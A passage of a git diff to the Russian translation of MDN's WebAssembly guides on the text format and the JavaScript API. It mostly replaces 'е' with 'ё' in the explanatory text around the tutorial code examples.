webassembly.org</a>.</p> <h3 id="Вызов_функции">Вызов функции</h3> @@ -169,7 +169,7 @@ translation_of: WebAssembly/Understanding_the_text_format <h2 id="Изучение_основ">Изучение основ</h2> -<p>Теперь, когда мы рассмотрели простейшие примеры, давайте перейдем к рассмотрению некоторых более сложных возможностей.</p> +<p>Теперь, когда мы рассмотрели простейшие примеры, давайте перейдём к рассмотрению некоторых более сложных возможностей.</p> <h3 id="Вызов_функций_из_других_функций_в_том_же_модуле">Вызов функций из других функций в том же модуле</h3> @@ -184,10 +184,10 @@ translation_of: WebAssembly/Understanding_the_text_format i32.add))</pre> <div class="note"> -<p><strong>Примечание</strong>: Инструкция <code>i32.const</code> создает 32-разрядное целое число и помещает его в стек. Вы можете поменять <code>i32</code> на любой другой доступный тип данных и изменить значение на любое другое (здесь мы установили значение <code>42</code>).</p> +<p><strong>Примечание</strong>: Инструкция <code>i32.const</code> создаёт 32-разрядное целое число и помещает его в стек. Вы можете поменять <code>i32</code> на любой другой доступный тип данных и изменить значение на любое другое (здесь мы установили значение <code>42</code>).</p> </div> -<p>В этом примере обратите внимание на секцию объявления экспорта <code>(export “getAnswerPlus1”)</code>, которая находится сразу после объявления второй функции <code>func</code>. Это сокращенный способ объявления, совмещенный с именем функции, которую мы хотим экспортировать.</p> +<p>В этом примере обратите внимание на секцию объявления экспорта <code>(export “getAnswerPlus1”)</code>, которая находится сразу после объявления второй функции <code>func</code>. Это сокращённый способ объявления, совмещённый с именем функции, которую мы хотим экспортировать.</p> <p>Функционально это эквивалентно включению отдельного объявления экспорта функции без функции, в любом месте модуля, например:</p> @@ -201,12 +201,12 @@ translation_of: WebAssembly/Understanding_the_text_format });</pre> <div class="note"> -<p><strong>Примечание</strong>: Вы можете найти этот пример на GitHub как <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/call.html">call.html</a> (смотрите также <a href="https://mdn.github.io/webassembly-examples/understanding-text-format/call.html">вживую</a>). Еще посмотрите <a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">wasm-utils.js</a> для метода <code>fetchAndInstantiate()</code>.</p> +<p><strong>Примечание</strong>: Вы можете найти этот пример на GitHub как <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/call.html">call.html</a> (смотрите также <a href="https://mdn.github.io/webassembly-examples/understanding-text-format/call.html">вживую</a>). Ещё посмотрите <a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">wasm-utils.js</a> для метода <code>fetchAndInstantiate()</code>.</p> </div> <h3 id="Импорт_функций_из_JavaScript">Импорт функций из JavaScript</h3> -<p>Мы уже видели JavaScript, вызывающий экспортируемые функции модуля WebAssembly, но как насчет WebAssembly модуля, вызывающего функции JavaScript? WebAssembly не имеет каких либо знаний о внешнем коде JavaScript, но у него есть способ импорта, который может принимать функции из JavaScript или wasm. Давайте посмотрим на пример:</p> +<p>Мы уже видели JavaScript, вызывающий экспортируемые функции модуля WebAssembly, но как насчёт WebAssembly модуля, вызывающего функции JavaScript? WebAssembly не имеет каких либо знаний о внешнем коде JavaScript, но у него есть способ импорта, который может принимать функции из JavaScript или wasm. Давайте посмотрим на пример:</p> <pre>(module (import "console" "log" (func $log (param i32))) @@ -214,13 +214,13 @@ translation_of: WebAssembly/Understanding_the_text_format i32.const 13 call $log))</pre> -<p>В инструкции импорта в модуль WebAssembly определено двухуровневое пространство имен, в котором мы указали импортировать функцию <code>log</code> из модуля <code>console</code>. Вы также можете видеть, что экспортируемая функция <code>logIt</code> вызывает импортированную функцию, используя инструкцию <code>call</code>, о которой мы говорили ранее.</p> +<p>В инструкции импорта в модуль WebAssembly определено двухуровневое пространство имён, в котором мы указали импортировать функцию <code>log</code> из модуля <code>console</code>. Вы также можете видеть, что экспортируемая функция <code>logIt</code> вызывает импортированную функцию, используя инструкцию <code>call</code>, о которой мы говорили ранее.</p> <p>Импортируемые функции аналогичны обычным функциям: они имеют сигнатуру, которую WebAssembly проверяет статически, им присваивается индекс (в место которого можно присвоить имя) и их можно вызвать обычным способом.</p> <p>Функции JavaScript не имеют понятия сигнатуры, поэтому любую функцию JavaScript можно передать независимо от объявленной сигнатуры импорта. Если модуль объявляет импорт, вызывающая сторона (например метод {{jsxref("WebAssembly.instantiate()")}}) должна передать объект импорта, который должен иметь соответствующее свойство.</p> -<p>Для иллюстрации вышесказанного нам нужен объект (назовем его <code>importObject</code>), в котором конечное свойство <code>importObject.console.log</code> должно содержать функцию JavaScript.</p> +<p>Для иллюстрации вышесказанного нам нужен объект (назовём его <code>importObject</code>), в котором конечное свойство <code>importObject.console.log</code> должно содержать функцию JavaScript.</p> <p>Код будет выглядеть следующим образом:</p> @@ -264,16 +264,16 @@ WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject) <h3 id="Память_WebAssembly">Память WebAssembly</h3> -<p>Приведенный выше пример - довольно ужасная функция ведения журнала: она печатает только одно целое число! Что если мы хотим записать текстовую строку? Для работы со строками и другими более сложными типами данных WebAssembly предоставляет <strong>линейную память</strong>. Согласно технологии WebAssembly, линейная память - это просто большой массив байтов, который со временем может увеличиваться. WebAssembly код содержит ряд инструкций, наподобие <code>i32.load</code> и <code>i32.store</code> для чтения и записи значений из <a href="http://webassembly.org/docs/semantics/#linear-memory">линейной памяти</a>.</p> +<p>Приведённый выше пример - довольно ужасная функция ведения журнала: она печатает только одно целое число! Что если мы хотим записать текстовую строку? Для работы со строками и другими более сложными типами данных WebAssembly предоставляет <strong>линейную память</strong>. Согласно технологии WebAssembly, линейная память - это просто большой массив байтов, который со временем может увеличиваться. WebAssembly код содержит ряд инструкций, наподобие <code>i32.load</code> и <code>i32.store</code> для чтения и записи значений из <a href="http://webassembly.org/docs/semantics/#linear-memory">линейной памяти</a>.</p> <p>Со стороны JavaScript, линейная память как будто находится внутри одного большого (расширяющегося) объекта {{domxref("ArrayBuffer")}}.</p> <p>Таким образом, строка - это просто последовательность байтов где-то внутри этой линейной памяти. Давайте предположим, что мы записали нужную строку байтов в память; как мы передадим эту строку в JavaScript?<br> Ключевым моментом является то, что JavaScript может создавать экземпляры(объекты) линейной памяти WebAssembly через конструктор {{jsxref("WebAssembly.Memory()")}} и получать доступ к существующему экземпляру памяти (в настоящее время вы можете иметь только один экземпляр памяти на экземпляр модуля), используя соответствующие методы экземпляра модуля. Экземпляр памяти имеет свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">buffer</a></code>, которое возвращает объект <code>ArrayBuffer</code>, предоставляя всю линейную память модуля.</p> -<p>Объекты памяти могут расширятся с помощью метода <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow">Memory.grow()</a></code> из JavaScript. Когда происходит расширение, текущий объект <code>ArrayBuffer</code> не может изменить размер и он отсоединяется. Вместо него создается новый объект <code>ArrayBuffer</code>, указывающий на новую, увеличенную память. Пользуясь этими возможностями можно передать строку в JavaScript, её начальный индекс и её длину в линейной памяти.</p> +<p>Объекты памяти могут расширятся с помощью метода <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow">Memory.grow()</a></code> из JavaScript. Когда происходит расширение, текущий объект <code>ArrayBuffer</code> не может изменить размер и он отсоединяется. Вместо него создаётся новый объект <code>ArrayBuffer</code>, указывающий на новую, увеличенную память. Пользуясь этими возможностями можно передать строку в JavaScript, её начальный индекс и её длину в линейной памяти.</p> -<p>Хотя есть много разных способов кодировать длину строки в самой строке (например, как в строках в C); для простоты здесь мы просто передаем смещение и длину в качестве параметров:</p> +<p>Хотя есть много разных способов кодировать длину строки в самой строке (например, как в строках в C); для простоты здесь мы просто передаём смещение и длину в качестве параметров:</p> <pre>(import "console" "log" (func $log (param i32) (param i32)))</pre> @@ -285,7 +285,7 @@ WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject) console.log(string); }</pre> -<p>Последний недостающий фрагмент головоломки - это место, где функция <code>consoleLogString</code> получает доступ к памяти (<code>memory</code>) WebAssembly. WebAssembly дает нам здесь много гибкости: либо мы можем создать объект <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory">Memory</a></code> в коде JavaScript и импортировать его в модуль WebAssembly, или мы можем создать его в модуле WebAssembly и затем экспортировать в JavaScript.</p> +<p>Последний недостающий фрагмент головоломки - это место, где функция <code>consoleLogString</code> получает доступ к памяти (<code>memory</code>) WebAssembly. WebAssembly даёт нам здесь много гибкости: либо мы можем создать объект <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory">Memory</a></code> в коде JavaScript и импортировать его в модуль WebAssembly, или мы можем создать его в модуле WebAssembly и затем экспортировать в JavaScript.</p> <p>Для простоты, давайте создадим объект памяти в JavaScript и импортируем его в WebAssembly модуль. Напишем следующее объявление импорта <code>(import</code>):</p> @@ -329,7 +329,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject) <p>Чтобы завершить обзор текстового формата WebAssembly, давайте рассмотрим самую сложную и запутанную часть WebAssembly - <strong>таблицы</strong>. Таблицы - это массивы ссылок изменяемого размера, доступ к которым можно получить по индексу из кода WebAssembly.</p> -<p>Чтобы понять, зачем нужны таблицы, нам нужно сначала обратить внимание, что инструкция <code>call</code>, которую мы видели ранее (см. {{anch("Вызов функций из других функций в том же модуле")}}), принимает статический индекс функции и может вызывать только определенную функцию. Но что, если вызываемый элемент будет значением, установленным во время выполнения?</p> +<p>Чтобы понять, зачем нужны таблицы, нам нужно сначала обратить внимание, что инструкция <code>call</code>, которую мы видели ранее (см. {{anch("Вызов функций из других функций в том же модуле")}}), принимает статический индекс функции и может вызывать только определённую функцию. Но что, если вызываемый элемент будет значением, установленным во время выполнения?</p> <ul> <li> В JavaScript это делается постоянно: функции являются ссылочными значениями.</li> @@ -339,7 +339,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject) <p>Для того чтобы сделать это в WebAssembly нужен был отдельный тип инструкции вызова. Поэтому мы создали инструкцию <code>call_indirect</code>, которая принимает операнд динамической функции. Проблема в том, что типы данных, которые мы должны использовать в операндах в WebAssembly, в настоящее время такие: <code>i32</code> / <code>i64</code> / <code>f32</code> / <code>f64</code>.</p> -<p>Для WebAssembly можно было бы создать тип инструкции вызова <code>anyfunc</code> («любой», потому что эта инструкция смогла вызвать функции любой сигнатуры), но, к сожалению, операнд этого типа не может быть сохранен в линейной памяти по соображениям безопасности. Линейная память представляет содержимое хранимых значений в виде незащищенных байтов, и это позволяет содержимому wasm произвольно читать и изменять незащищенные адреса функций, что недопустимо для веб.</p> +<p>Для WebAssembly можно было бы создать тип инструкции вызова <code>anyfunc</code> («любой», потому что эта инструкция смогла вызвать функции любой сигнатуры), но, к сожалению, операнд этого типа не может быть сохранён в линейной памяти по соображениям безопасности. Линейная память представляет содержимое хранимых значений в виде незащищённых байтов, и это позволяет содержимому wasm произвольно читать и изменять незащищённые адреса функций, что недопустимо для веб.</p> <p>Решением стало следующее. Хранить ссылки на функции в таблице и передавать вместо них индексы таблицы, которые являются просто значениями <code>i32</code>. Поэтому операндом инструкции <code>call_indirect</code> может выступить простое значение индекса <code>i32</code>.</p> @@ -413,7 +413,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject) <p>На языке высокого уровня, таком как JavaScript эти же действия вы можете представить в виде манипуляций с массивом (или, скорее, с объектом), содержащим функции. Псевдокод будет выглядеть примерно так: <code>tbl[i]()</code>.</p> -<p>Итак, вернемся к проверке типов. Так как в коде WebAssembly проверяются типы, а атрибут <code>anyfunc</code> означает “сигнатура любой функции", мы должны предоставить предполагаемую сигнатуру в месте вызова, поэтому мы включаем тип с именем <code>$return_i32</code>, чтобы сообщить программе, что ожидается функция, возвращающая значение с типом <code>i32</code>. Если вызываемая функция не имеет соответствующей сигнатуры (скажем, вместо нее возвращается <code>f32</code>), выбросится исключение {{jsxref("WebAssembly.RuntimeError")}}.</p> +<p>Итак, вернёмся к проверке типов. Так как в коде WebAssembly проверяются типы, а атрибут <code>anyfunc</code> означает “сигнатура любой функции", мы должны предоставить предполагаемую сигнатуру в месте вызова, поэтому мы включаем тип с именем <code>$return_i32</code>, чтобы сообщить программе, что ожидается функция, возвращающая значение с типом <code>i32</code>. Если вызываемая функция не имеет соответствующей сигнатуры (скажем, вместо неё возвращается <code>f32</code>), выбросится исключение {{jsxref("WebAssembly.RuntimeError")}}.</p> <p>Так как инструкция <code>call_indirect</code> связывается с таблицей, с которой мы вызываем функцию? Ответ заключается в том, что на данный момент для каждого экземпляра модуля разрешена только одна таблица. Поэтому инструкция <code>call_indirect</code> выполняет неявный вызов именно из этой таблицы. В будущем, когда будет разрешено использование нескольких таблиц, нам нужно будет указать идентификатор таблицы, например так:</p> @@ -453,7 +453,7 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject) <h3 id="Изменяющиеся_таблицы_и_динамическое_связывание">Изменяющиеся таблицы и динамическое связывание</h3> -<p>Поскольку JavaScript имеет полный доступ к ссылкам на функции, объект таблицы может быть изменен из кода JavaScript с помощью методов <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow">grow()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">get()</a></code> и <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set">set()</a></code>. Когда WebAssembly получит <a href="http://webassembly.org/docs/gc/">ссылочные типы</a>, код WebAssembly сможет изменять таблицы самостоятельно с помощью инструкций <code>get_elem</code> / <code>set_elem</code>.</p> +<p>Поскольку JavaScript имеет полный доступ к ссылкам на функции, объект таблицы может быть изменён из кода JavaScript с помощью методов <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow">grow()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">get()</a></code> и <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set">set()</a></code>. Когда WebAssembly получит <a href="http://webassembly.org/docs/gc/">ссылочные типы</a>, код WebAssembly сможет изменять таблицы самостоятельно с помощью инструкций <code>get_elem</code> / <code>set_elem</code>.</p> <p>Поскольку таблицы являются изменяемыми, их можно использовать для реализации сложных схем <a href="http://webassembly.org/docs/dynamic-linking">динамического связывания</a> во время загрузки и во время выполнения. Когда программа динамически связана, несколько экземпляров могут совместно использовать линейную память и таблицу ссылок. Это похоже на поведение в обычном приложении где несколько скомпилированных <code>.dll</code> совместно используют адресное пространство одного процесса.</p> @@ -490,14 +490,14 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject) <ol> <li>Функция <code>shared0func</code> определена в <code>shared0.wat</code> и сохраняется в нашей импортированной таблице.</li> - <li>Эта функция создает константу, содержащую значение <code>0</code>, затем инструкция <code>i32.load</code> получает значение из импортированной памяти по предоставленному константой индексу. Предоставленный индекс равен <code>0</code>. Как и другие подобные инструкции, <code>i32.load</code> неявно получает предоставленное значение из стека. Итак, <code>shared0func</code> загружает и возвращает значение, хранящееся в индексе памяти <code>0</code>.</li> + <li>Эта функция создаёт константу, содержащую значение <code>0</code>, затем инструкция <code>i32.load</code> получает значение из импортированной памяти по предоставленному константой индексу. Предоставленный индекс равен <code>0</code>. Как и другие подобные инструкции, <code>i32.load</code> неявно получает предоставленное значение из стека. Итак, <code>shared0func</code> загружает и возвращает значение, хранящееся в индексе памяти <code>0</code>.</li> <li>В <code>shared1.wat</code> мы экспортируем функцию с именем <code>doIt</code> - эта функция размещает в стеке две константы, содержащие значения <code>0</code> и <code>42</code>. Затем она вызывает инструкцию <code>i32.store</code> для сохранения предоставленного значения по предоставленному индексу в импортированной памяти. Опять же, инструкция неявно получает эти значения из стека. Поэтому в результате <code>doIt</code> сохраняет значение <code>42</code> в индексе памяти <code>0</code>.</li> - <li>В последней части функции создается константа со значением <code>0</code>, затем вызывается функция с этим индексом (<code>0</code>) из таблицы. Это будет функция <code>shared0func</code> модуля <code>shared0.wat</code>, которая ранее была размещена там с помощью секции <code>elem</code>.</li> + <li>В последней части функции создаётся константа со значением <code>0</code>, затем вызывается функция с этим индексом (<code>0</code>) из таблицы. Это будет функция <code>shared0func</code> модуля <code>shared0.wat</code>, которая ранее была размещена там с помощью секции <code>elem</code>.</li> <li>При вызове shared0func загружает число <code>42</code>, которые мы сохранили в памяти, с помощью ранее указанной инструкции <code>i32.store</code> в модуле <code>shared1.wat</code>.</li> </ol> <div class="note"> -<p><strong>Примечание</strong>: Вышеприведенные выражения неявно извлекают значения из стека, но вместо этого вы можете объявить их явно в вызовах инструкций, например:</p> +<p><strong>Примечание</strong>: Вышеприведённые выражения неявно извлекают значения из стека, но вместо этого вы можете объявить их явно в вызовах инструкций, например:</p> <pre>(i32.store (i32.const 0) (i32.const 42)) (call_indirect (type $void_to_i32) (i32.const 0))</pre> diff --git a/files/ru/webassembly/using_the_javascript_api/index.html b/files/ru/webassembly/using_the_javascript_api/index.html index 21a38cbbc4..ecc973376c 100644 --- a/files/ru/webassembly/using_the_javascript_api/index.html +++ b/files/ru/webassembly/using_the_javascript_api/index.html @@ -9,7 +9,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API --- <div>{{WebAssemblySidebar}}</div> -<p class="summary">Если вы уже <a href="/ru/docs/WebAssembly/C_to_wasm">компилировали модуль из другого языка, используя такие инструменты как Emscripten</a>, или загружали и запускали код, то следующим шагом будет углубленное изучение возможностей WebAssembly JavaScript API. Эта статья даст необходимые знания по этому вопросу.</p> +<p class="summary">Если вы уже <a href="/ru/docs/WebAssembly/C_to_wasm">компилировали модуль из другого языка, используя такие инструменты как Emscripten</a>, или загружали и запускали код, то следующим шагом будет углублённое изучение возможностей WebAssembly JavaScript API. Эта статья даст необходимые знания по этому вопросу.</p> <div class="note"> <p><strong>Примечание</strong>: Если вы незнакомы с фундаментальными понятиями, упомянутыми в этой статье, и вам нужны дополнительные объяснения, то вам нужно сначала прочитать про <a href="/ru/docs/WebAssembly/Concepts">Основы WebAssembly</a>.</p> @@ -26,8 +26,8 @@ translation_of: WebAssembly/Using_the_JavaScript_API <h3 id="Подготовка_примера">Подготовка примера</h3> <ol> - <li>Для начала нам нужен wasm-модуль! Возьмите наш файл <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm">simple.wasm</a> и сохраните копию в новой директории на своем локальном компьютере.</li> - <li>Далее, давайте создадим в той же директории что и wasm-модуль простой HTML-файл и назовем его <code>index.html</code> (можно использовать <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a> если вы этого еще не сделали).</li> + <li>Для начала нам нужен wasm-модуль! Возьмите наш файл <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm">simple.wasm</a> и сохраните копию в новой директории на своём локальном компьютере.</li> + <li>Далее, давайте создадим в той же директории что и wasm-модуль простой HTML-файл и назовём его <code>index.html</code> (можно использовать <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a> если вы этого ещё не сделали).</li> <li>Теперь, для того чтобы понять что происходит в коде модуля, давайте взглянем на его текстовое представление (которое мы также встречали в <a href="/en-US/docs/WebAssembly/Text_format_to_wasm#A_first_look_at_the_text_format">Перевод из текстового формата WebAssembly в wasm</a>): <pre>(module (func $i (import "imports" "imported_func") (param i32)) @@ -35,7 +35,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API i32.const 42 call $i))</pre> </li> - <li>Во второй строчке вы видите что import имеет двухуровневое пространство имен - внутренняя функция <code>$i</code> импортирована из <code>imports.imported_func</code>. Нам нужно создать это двухуровневое пространство имен в JavaScript-объекте, который будет импортирован в wasm-модуль. Создайте <code><script></script></code> элемент в своем HTML-файле, и добавьте следующий код: + <li>Во второй строчке вы видите что import имеет двухуровневое пространство имён - внутренняя функция <code>$i</code> импортирована из <code>imports.imported_func</code>. Нам нужно создать это двухуровневое пространство имён в JavaScript-объекте, который будет импортирован в wasm-модуль. Создайте <code><script></script></code> элемент в своём HTML-файле, и добавьте следующий код: <pre class="brush: js">var importObject = { imports: { imported_func: arg => console.log(arg) } };</pre> @@ -77,7 +77,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API <h3 id="Просмотр_wasm_в_инструментах_разработчика">Просмотр wasm в инструментах разработчика</h3> -<p>В Firefox 54+, в отладочной панели инструментов разработчика имеется возможность отображения текстового представления любого wasm-кода, включенного в веб-страницу. Для того чтобы просмотреть его, вы можете перейти на отладочную панель и нажать на пункт "wasm://".</p> +<p>В Firefox 54+, в отладочной панели инструментов разработчика имеется возможность отображения текстового представления любого wasm-кода, включённого в веб-страницу. Для того чтобы просмотреть его, вы можете перейти на отладочную панель и нажать на пункт "wasm://".</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15823/wasm-debug.png" style="display: block; height: 317px; margin: 0px auto; width: 1019px;"></p> @@ -93,7 +93,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API <p>Давайте исследуем эту возможность рассмотрев небольшой пример.</p> -<p>Создайте еще одну простую HTML страницу (скопируйте <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a>) и назовите её <code>memory.html</code>. Добавьте <code><script></script></code> элемент на страницу.</p> +<p>Создайте ещё одну простую HTML страницу (скопируйте <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a>) и назовите её <code>memory.html</code>. Добавьте <code><script></script></code> элемент на страницу.</p> <ol> <li> @@ -125,7 +125,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API <p>При превышении максимального значения, указанного при создании объекта памяти, будет выброшено исключение {{jsxref("WebAssembly.RangeError")}}. Движок использует предоставленные верхние границы для резервирования памяти заранее, что делает расширение памяти более эффективным.</p> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: Так как размер объекта {{domxref("ArrayBuffer")}} неизменен, после успешного вызова метода {{jsxref("Memory.prototype.grow()")}} свойство buffer объекта памяти будет возвращать уже новый объект {{domxref("ArrayBuffer")}} (с новым размером в свойстве byteLength) и любые предыдущие объекты ArrayBuffer станут в некотором роде “отсоединенными”, или отключенными от низкоуровневой памяти, к которой они ранее относились.</p> +<p><strong>Примечание</strong>: Так как размер объекта {{domxref("ArrayBuffer")}} неизменен, после успешного вызова метода {{jsxref("Memory.prototype.grow()")}} свойство buffer объекта памяти будет возвращать уже новый объект {{domxref("ArrayBuffer")}} (с новым размером в свойстве byteLength) и любые предыдущие объекты ArrayBuffer станут в некотором роде “отсоединёнными”, или отключёнными от низкоуровневой памяти, к которой они ранее относились.</p> </div> <p>Подобно функциям, диапазоны линейной памяти могут быть импортированы или определены внутри модуля. Также, модуль имеет возможность экспортировать свою память. Это означает, что JavaScript-код может получить доступ к объекту памяти WebAssembly либо c помощью создания нового объекта через конструктор <code>WebAssembly.Memory</code> и передачи его в импортируемый объект, либо с помощью получения объекта памяти через экспортируемый объект (через <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports">Instance.prototype.exports</a></code>).</p> @@ -151,7 +151,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API });</pre> </li> <li> - <p>Так как модуль экспортирует свою память, которая была передана экземпляру этого модуля при его создании, мы можем наполнить ранее импортированный массив прямо в линейной памяти экземпляра модуля (<code>mem</code>), и вызвать экспортированную функцию <code>accumulate()</code> для расчета суммы значений. Добавьте следующий код, в обозначенном месте: </p> + <p>Так как модуль экспортирует свою память, которая была передана экземпляру этого модуля при его создании, мы можем наполнить ранее импортированный массив прямо в линейной памяти экземпляра модуля (<code>mem</code>), и вызвать экспортированную функцию <code>accumulate()</code> для расчёта суммы значений. Добавьте следующий код, в обозначенном месте: </p> <pre class="brush: js">var i32 = new Uint32Array(memory.buffer); @@ -164,7 +164,7 @@ console.log(sum);</pre> </li> </ol> -<p>Обратите внимание на то, что мы создаем представление данных {{domxref("Uint32Array")}} с помощью свойства buffer объекта памяти (<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">Memory.prototype.buffer</a></code>), а не самого объекта памяти.</p> +<p>Обратите внимание на то, что мы создаём представление данных {{domxref("Uint32Array")}} с помощью свойства buffer объекта памяти (<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">Memory.prototype.buffer</a></code>), а не самого объекта памяти.</p> <p>Импорт памяти почти такой же как импорт функций, только вместо JavaScript функций передаются объекты памяти. Импорт памяти полезен по двум причинам:</p> @@ -174,14 +174,14 @@ console.log(sum);</pre> </ul> <div class="note"> -<p><strong>Примечание</strong>: Вы можете найти полную демонстрацию в файле <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">см. ее также вживую</a>) — эта версия использует функцию <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p> +<p><strong>Примечание</strong>: Вы можете найти полную демонстрацию в файле <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">см. её также вживую</a>) — эта версия использует функцию <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p> </div> <h2 id="Таблицы">Таблицы</h2> -<p>Таблица WebAssembly - это расширяемый типизированный массив <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">ссылок</a>, доступ к которому может быть получен из JavaScript и WebAssembly кода. Так как линейная память предоставляет расширяемый массив незащищенных байт, слишком небезопасно размещать там ссылки, так как для движка ссылка является доверенным значением, чьи байты не должны быть прочитаны или записаны кодом напрямую по причинам безопасности, переносимости и стабильности.</p> +<p>Таблица WebAssembly - это расширяемый типизированный массив <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">ссылок</a>, доступ к которому может быть получен из JavaScript и WebAssembly кода. Так как линейная память предоставляет расширяемый массив незащищённых байт, слишком небезопасно размещать там ссылки, так как для движка ссылка является доверенным значением, чьи байты не должны быть прочитаны или записаны кодом напрямую по причинам безопасности, переносимости и стабильности.</p> -<p>У таблиц есть тип элемента, который ограничивает тип возможной ссылки, который может быть размещен в таблице. В текущей версии WebAssembly, только один тип ссылки используется в WebAssembly коде - функции - и поэтому существует только один возможный тип элемента. В следующих версиях их количество будет увеличено.</p> +<p>У таблиц есть тип элемента, который ограничивает тип возможной ссылки, который может быть размещён в таблице. В текущей версии WebAssembly, только один тип ссылки используется в WebAssembly коде - функции - и поэтому существует только один возможный тип элемента. В следующих версиях их количество будет увеличено.</p> <p>Ссылки на функции необходимы для компиляции в таких языках как C/C++, которые имеют указатели на функции. В родной реализации C/C++, указатель на функцию представлен прямым адресом на код функции в виртуальном адресном пространстве процесса, и потому для ранее упомянутой безопасности, они не могут быть размещены прямо в линейной памяти. Вместо этого ссылки на функции размещаются в таблице, а её индексы, которые являются целыми числами могут быть размещены в линейной памяти и переданы куда угодно.</p> @@ -191,7 +191,7 @@ console.log(sum);</pre> <h3 id="Пример_таблицы">Пример таблицы</h3> -<p>Давайте взглянем на простой пример таблицы - модуль WebAssembly, который создает и экспортирует таблицу с двумя элементами: элемент под индексом 0 возвращает 13, а элемент под индексом 1 возвращает 42.</p> +<p>Давайте взглянем на простой пример таблицы - модуль WebAssembly, который создаёт и экспортирует таблицу с двумя элементами: элемент под индексом 0 возвращает 13, а элемент под индексом 1 возвращает 42.</p> <ol> <li> @@ -224,7 +224,7 @@ console.log(tbl.get(1)()); // 42</pre> <p>Этот код получает доступ к каждой ссылке на функцию, которая размещена в таблице, после чего вызывает её и выводит хранимое значение в консоль. Обратите внимание, что каждая ссылка на функцию получена с помощью вызова метода <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">Table.prototype.get()</a></code>, после чего мы добавили пару круглых скобок для вызова самой функции.</p> <div class="note"> -<p><strong>Примечание</strong>: Вы можете найти нашу полную демонстрацию в файле <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a> (см. ее также <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">вживую</a>) — эта версия использует функцию <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p> +<p><strong>Примечание</strong>: Вы можете найти нашу полную демонстрацию в файле <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a> (см. её также <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">вживую</a>) — эта версия использует функцию <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code>.</p> </div> <h2 id="Глобальные_переменные">Глобальные переменные</h2> |